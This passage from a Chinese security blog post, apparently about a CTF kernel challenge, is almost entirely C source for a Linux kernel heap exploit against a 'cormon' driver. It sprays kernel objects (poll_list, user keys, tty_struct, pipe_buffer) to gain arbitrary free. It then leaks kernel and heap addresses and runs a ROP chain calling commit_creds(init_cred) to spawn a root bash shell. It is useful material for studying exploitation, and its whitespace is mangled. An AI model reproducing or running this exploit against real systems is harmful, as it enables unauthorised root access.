pthread_setaffinity_np(pthread_self(),sizeof(cpu_set),&cpu_set);
}else{
sched_setaffinity(getpid(),sizeof(cpu_set),&cpu_set);
}
}
voidqword_dump(char *desc, void *addr, int len){
uint64_t*buf64 =(uint64_t*) addr;
uint8_t*buf8 =(uint8_t*) addr;
if(desc !=NULL){
printf("[*] %s:n", desc);
}
for(int i =0; i < len /8; i +=4){
printf(" %04x", i *8);
for(int j =0; j <4; j++){
i + j < len /8?printf(" 0x%016lx", buf64[i + j]):printf(" ");
}
printf(" ");
for(int j =0; j <32&& j + i *8< len; j++){
printf("%c",isprint(buf8[i *8+ j])? buf8[i *8+ j]:'.');
}
puts("");
}
}
boolis_kernel_text_addr(size_t addr){
return addr >=0xFFFFFFFF80000000&& addr <=0xFFFFFFFFFEFFFFFF;
// return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}
boolis_dir_mapping_addr(size_t addr){
return addr >=0xFFFF888000000000&& addr <=0xFFFFc87FFFFFFFFF;
}
#define INVALID_KERNEL_OFFSET 0x1145141919810
constsize_t kernel_addr_list[]={
0xffffffff813275c0,
0xffffffff812d4320,
0xffffffff812d4340,
0xffffffff812d4330
};
size_tkernel_offset_query(size_t kernel_text_leak){
if(!is_kernel_text_addr(kernel_text_leak)){
return INVALID_KERNEL_OFFSET;
}
for(int i =0; i <sizeof(kernel_addr_list)/sizeof(kernel_addr_list[0]); i++){
if(!((kernel_text_leak ^ kernel_addr_list[i])&0xFFF)
&&(kernel_text_leak - kernel_addr_list[i])%0x100000==0){
return kernel_text_leak - kernel_addr_list[i];
}
}
printf("[-] unknown kernel addr: %#lxn", kernel_text_leak);
return INVALID_KERNEL_OFFSET;
}
size_tsearch_kernel_offset(void *buf, int len){
size_t*search_buf = buf;
for(int i =0; i < len /8; i++){
size_t kernel_offset = kernel_offset_query(search_buf[i]);
if(kernel_offset != INVALID_KERNEL_OFFSET){
printf("[+] kernel leak addr: %#lxn", search_buf[i]);
printf("[+] kernel offset: %#lxn", kernel_offset);
return kernel_offset;
}
}
return INVALID_KERNEL_OFFSET;
}
size_t user_cs, user_rflags, user_sp, user_ss;
voidsave_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
typedefstruct {
int nfds, timer;
} poll_args;
struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;
void*alloc_poll_list(void *args){
int nfds =((poll_args *) args)->nfds;
int timer =((poll_args *) args)->timer;
struct pollfd *pfds =calloc(nfds,sizeof(struct pollfd));
for(int i =0; i < nfds; i++){
pfds[i].fd = open("/etc/passwd", O_RDONLY);
pfds[i].events = POLLERR;
}
bind_core(true,true);
pthread_mutex_lock(&mutex);
poll_threads++;
pthread_mutex_unlock(&mutex);
poll(pfds, nfds, timer);
bind_core(false,true);
pthread_mutex_lock(&mutex);
poll_threads--;
pthread_mutex_unlock(&mutex);
}
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
pthread_t poll_tid[POLL_NUM];
voidcreate_poll_thread(size_t size, int timer){
poll_args *args =calloc(1,sizeof(poll_args));
args->nfds =
(size -(size + PAGE_SIZE -1)/ PAGE_SIZE *sizeof(struct poll_list))/sizeof(struct pollfd)
+ N_STACK_PPS;
args->timer = timer;
pthread_create(&poll_tid[poll_cnt++],0, alloc_poll_list, args);
}
voidwait_poll_start(){
while(poll_threads != poll_cnt);
}
voidjoin_poll_threads(void (*confuse)(void *), void *confuse_args){
for(int i =0; i < poll_threads; i++){
pthread_join(poll_tid[i],NULL);
if(confuse !=NULL){
confuse(confuse_args);
}
}
poll_cnt = poll_threads =0;
}
struct callback_head {
struct callback_head *next;
void(*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void*))));
#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedefunsignedlonglong u64;
struct user_key_payload {
struct rcu_head rcu;/* RCU destructor */
unsignedshort datalen;/* length of this data */
char data[0] __aligned(__alignof__(u64));/* actual data */
};
#define KEY_NUM 199
int key_id[KEY_NUM];
intkey_alloc(int id, void *payload, int payload_len){
char description[0x10]={};
sprintf(description,"%d", id);
return key_id[id]=
syscall(__NR_add_key,"user", description, payload,
payload_len -sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
intkey_update(int id, void *payload, size_t plen){
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
intkey_read(int id, void *bufer, size_t buflen){
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
intkey_revoke(int id){
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id],0,0,0);
}
intkey_unlink(int id){
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_bufer {
struct page *page;
unsignedint offset, len;
conststruct pipe_buf_operations *ops;
unsignedint flags;
unsignedlongprivate;
};
struct pipe_buf_operations {
int(*confirm)(struct pipe_inode_info *,struct pipe_bufer *);
void(*release)(struct pipe_inode_info *,struct pipe_bufer *);
int(*try_steal)(struct pipe_inode_info *,struct pipe_bufer *);
int(*get)(struct pipe_inode_info *,struct pipe_bufer *);
};
voidget_shell(void){
char*args[]={"/bin/bash","-i",NULL};
execve(args[0], args,NULL);
}
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
int cormon_fd;
char buf[0x20000];
voidseq_confuse(void *args){
open("/proc/self/stat", O_RDONLY);
}
size_t push_rsi_pop_rsp_ret =0xFFFFFFFF817AD641;
size_t pop_rdi_ret =0xffffffff8116926d;
size_t init_cred =0xFFFFFFFF8245A960;
size_t commit_creds =0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret =0xffffffff81001615;
size_t find_task_by_vpid =0xFFFFFFFF810E4FC0;
size_t init_fs =0xFFFFFFFF82589740;
size_t pop_rcx_ret =0xffffffff8101f5fc;
size_t add_rax_rcx_ret =0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret =0xffffffff817e1d6d;
size_t pop_rbx_ret =0xffffffff811bce34;
size_t swapgs_ret =0xffffffff81a05418;
size_t iretq =0xffffffff81c00f97;
intmain(){
bind_core(true,false);
save_status();
signal(SIGSEGV,(void*) get_shell);
cormon_fd = open("/proc_rw/cormon", O_RDWR);
if(cormon_fd <0){
perror("[-] failed to open cormon.");
exit(-1);
}
size_t kernel_offset;
int target_key;
puts("[*] Saturating kmalloc-32 partial slabs...");
int seq_fd[SEQ_NUM];
for(int i =0; i < SEQ_NUM; i++){
seq_fd[i]= open("/proc/self/stat", O_RDONLY);
if(seq_fd[i]<0){
perror("[-] failed to open stat.");
exit(-1);
}
if(i ==2048){
puts("[*] Spraying user keys in kmalloc-32...");
for(int j =0; j < KEY_NUM; j++){
setxattr("/tmp/exp","aaaaaa", buf,32, XATTR_CREATE);
key_alloc(j, buf,32);
if(j ==72){
bind_core(false,false);
puts("[*] Creating poll threads...");
for(int k =0; k <14; k++){
create_poll_thread(
PAGE_SIZE +sizeof(struct poll_list)+sizeof(struct pollfd),
3000);
}
bind_core(true,false);
wait_poll_start();
}
}
puts("[*] Corrupting poll_list next pointer...");
write(cormon_fd, buf, PAGE_SIZE);
puts("[*] Triggering arbitrary free...");
join_poll_threads(seq_confuse,NULL);
puts("[*] Overwriting user key size / Spraying seq_operations structures...");
}
}
puts("[*] Leaking kernel pointer...");
for(int i =0; i < KEY_NUM; i++){
int len = key_read(i, buf,sizeof(buf));
kernel_offset = search_kernel_offset(buf, len);
if(kernel_offset != INVALID_KERNEL_OFFSET){
qword_dump("dump leak memory", buf,0x1000);
target_key = i;
break;
}
}
if(kernel_offset == INVALID_KERNEL_OFFSET){
puts("[-] failed to leak kernel offset,try again.");
exit(-1);
}
push_rsi_pop_rsp_ret += kernel_offset;
pop_rdi_ret += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
pop_r14_pop_r15_ret += kernel_offset;
find_task_by_vpid += kernel_offset;
init_fs += kernel_offset;
pop_rcx_ret += kernel_offset;
add_rax_rcx_ret += kernel_offset;
mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
pop_rbx_ret += kernel_offset;
swapgs_ret += kernel_offset;
iretq += kernel_offset;
puts("[*] Freeing user keys...");
for(int i =0; i < KEY_NUM; i++){
if(i != target_key){
key_unlink(i);
}
}
sleep(1);
puts("[*] Spraying tty_file_private / tty_struct structures...");
int tty_fd[TTY_NUM];
for(int i =0; i < TTY_NUM; i++){
tty_fd[i]= open("/dev/ptmx", O_RDWR | O_NOCTTY);
if(tty_fd[i]<0){
perror("[-] failed to open ptmx");
}
}
puts("[*] Leaking heap pointer...");
size_t target_object =-1;
int len = key_read(target_key, buf,sizeof(buf));
qword_dump("dump leak memory", buf,0x1000);
for(int i =0; i < len; i +=8){
struct tty_file_private *head =(void*)&buf[i];
if(is_dir_mapping_addr((size_t) head->tty)&&!(((size_t) head->tty)&0xFF)
&& head->list.next == head->list.prev && head->list.prev !=NULL){
qword_dump("leak tty_struct addr from tty_file_private",&buf[i],
sizeof(struct tty_file_private));
target_object =(size_t) head->tty;
printf("[+] tty_struct addr: %pn", target_object);
break;
}
}
if(target_object ==-1){
puts("[-] failed to leak tty_struct addr.");
exit(-1);
}
puts("[*] Freeing seq_operation structures...");
for(int i =2048; i < SEQ_NUM; i++){
close(seq_fd[i]);
}
bind_core(false,false);
puts("[*] Creating poll threads...");
for(int i =0; i <192; i++){
create_poll_thread(sizeof(struct poll_list)+sizeof(struct pollfd),3000);
}
bind_core(true,false);
wait_poll_start();
puts("[*] Freeing corrupted key...");
key_unlink(target_key);
sleep(1);// GC key
puts("[*] Overwriting poll_list next pointer...");
char key[32]={};
*(size_t*)&buf[0]= target_object -0x18;
for(int i =0; i < KEY_NUM; i++){
setxattr("/tmp/exp","aaaaaa", buf,32, XATTR_CREATE);
key_alloc(i, key,32);
}
puts("[*] Freeing tty_struct structures...");
for(int i =0; i < TTY_NUM; i++){
close(tty_fd[i]);
}
sleep(1);// GC TTYs
int pipe_fd[PIPE_NUM][2];
puts("[*] Spraying pipe_bufer structures...");
for(int i =0; i < PIPE_NUM; i++){
pipe(pipe_fd[i]);
write(pipe_fd[i][1],"aaaaaa",6);
}
puts("[*] Triggering arbitrary free...");
join_poll_threads(NULL,NULL);
((struct pipe_bufer *) buf)->ops =(void*)(target_object +0x300);
((struct pipe_buf_operations *)&buf[0x300])->release =(void*) push_rsi_pop_rsp_ret;
size_t*rop =(size_t*) buf;
*rop++= pop_r14_pop_r15_ret;
rop++;
rop++;// ops
// commit_creds(&init_creds)
*rop++= pop_rdi_ret;
*rop++= init_cred;
*rop++= commit_creds;
// current = find_task_by_vpid(getpid())
*rop++= pop_rdi_ret;
*rop++= getpid();
*rop++= find_task_by_vpid;
// current->fs = &init_fs
*rop++= pop_rcx_ret;
*rop++=0x6e0;
*rop++= add_rax_rcx_ret;
*rop++= pop_rbx_ret;
*rop++= init_fs;
*rop++= mov_mmrax_rbx_pop_rbx_ret;
rop++;
// back to user
*rop++= swapgs_ret;
*rop++= iretq;
*rop++=(uint64_t) get_shell;
*rop++= user_cs;
*rop++= user_rflags;
*rop++= user_sp;
*rop++= user_ss;
puts("[*] Spraying ROP chain...");
for(int i =0; i <31; i++){
key_alloc(i, buf,1024);
}
puts("[*] Hijacking control flow...");
for(int i =0; i < PIPE_NUM; i++){
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
sleep(5);
return0;
}
多试几次还是可以成功的。
原文始发于微信公众号(蚁景网络安全):kernel heap exploit(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论